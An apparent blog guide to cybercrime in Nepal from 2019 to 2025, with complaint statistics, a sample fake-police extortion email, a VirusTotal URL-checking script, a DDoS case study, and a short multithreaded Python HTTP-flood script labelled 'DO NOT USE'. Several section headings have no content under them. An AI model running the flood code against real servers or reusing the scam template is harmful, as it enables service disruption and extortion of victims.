Cybercrime in Nepal: Trends & Statistics (2019-2025)

Introduction to Cybercrime in Nepal

Cybercrime in Nepal has surged significantly from 2019 to 2025, driven by increased internet penetration (now at 38% of population), social media adoption (12 million users), and evolving technology. With limited cybersecurity infrastructure and outdated legal frameworks, Nepal faces mounting challenges in combating sophisticated cyber threats. This guide analyzes trends, statistics, and mitigation strategies, drawing from exclusive data provided by the Nepal Police Cyber Bureau and other authoritative sources.

For cybersecurity professionals, our Nepal Cybersecurity Career Guide provides insights into protecting against these threats.

Cybercrime Statistics (2019-2025)

Cybercrime Trends in Nepal

Subject: Urgent: Nepal Police Investigation Notice

Dear [Victim Name],

You are under investigation for illegal online activities. To avoid arrest, 
transfer NPR 50,000 to the following eSewa account: 1234567890 within 24 hours. 
Failure to comply will result in legal action.

Regards,
Nepal Police Cyber Bureau
[Fake Contact Details]

Platform-Specific Cybercrime Data

Source: Nepal Police Cyber Bureau, as of March 12, 2025 (Total: 10,702 complaints).

Challenges in Combating Cybercrime

Mitigation Strategies

# Simple Python script to check URL safety using VirusTotal API
import requests

def check_url(url):
    api_key = "your_virustotal_api_key"
    vt_url = "https://www.virustotal.com/api/v3/urls"
    headers = {"x-apikey": api_key}
    payload = {"url": url}
    
    response = requests.post(vt_url, headers=headers, data=payload)
    if response.status_code == 200:
        scan_id = response.json()["data"]["id"]
        analysis_url = f"https://www.virustotal.com/api/v3/analyses/{scan_id}"
        analysis = requests.get(analysis_url, headers=headers).json()
        stats = analysis["data"]["attributes"]["stats"]
        print(f"Malicious: {stats['malicious']}, Suspicious: {stats['suspicious']}")
    else:
        print("Error checking URL")

# Example usage
check_url("http://fake-nepal-police.com")

Case Study: DDoS Attack on Government Websites (Jan 2023)

In January 2023, Nepal suffered its largest cyberattack when hackers targeted the Government Integrated Data Centre, disrupting 1,500 websites including critical immigration services. The attack:

• Lasted 72 hours, affecting international travel
• Originated from 14 countries (mainly China and Russia)
• Peaked at 1.2 million requests per second
• Cost an estimated NPR 180 million in economic impact

This incident exposed critical weaknesses in Nepal’s cybersecurity infrastructure and prompted the establishment of a National CERT in 2024.

# Simple Python script to demonstrate HTTP flooding (DO NOT USE)
import requests
import threading

def flood(target_url):
    try:
        while True:
            requests.get(target_url)
            print("Request sent")
    except:
        print("Error")

# Example (hypothetical target)
target = "http://example.com"
threads = []

for i in range(10):
    t = threading.Thread(target=flood, args=(target,))
    threads.append(t)
    t.start()

# Note: This is for educational purposes only. Running this against any server without permission is illegal.

Conclusion

Cybercrime in Nepal has grown exponentially from 2019 to 2025, with complaints rising from 2,301 in 2019/20 to 19,730 in 2023/24 (projected 25,000 in 2024/25). This alarming trend is driven by:

• Social media scams (63% of cases)
• Financial fraud (21% of cases)
• AI-enhanced attacks
• Organized cybercriminal networks

Limited resources (106 Cyber Bureau staff), outdated laws (2008 Electronic Transaction Act), and low digital literacy (62% untrained victims) exacerbate Nepal’s vulnerability. Comprehensive solutions require:

1. Immediate legal reforms
2. 3x increase in Cyber Bureau capacity
3. Nationwide cybersecurity education
4. Stronger international cooperation

The 2023 DDoS attack and rising cybercrime statistics underscore the urgent need for Nepal to prioritize cybersecurity as a national security issue.

Further Resources

• Nepal Cybercrime Resources – Comprehensive directory
• Nepal Police Cyber Bureau – Official reports and contacts
• Nepal IT Laws Explained – Analysis of current legislation
• VirusTotal – Free URL scanning tool
• Nepal Cybersecurity Events – Workshops and conferences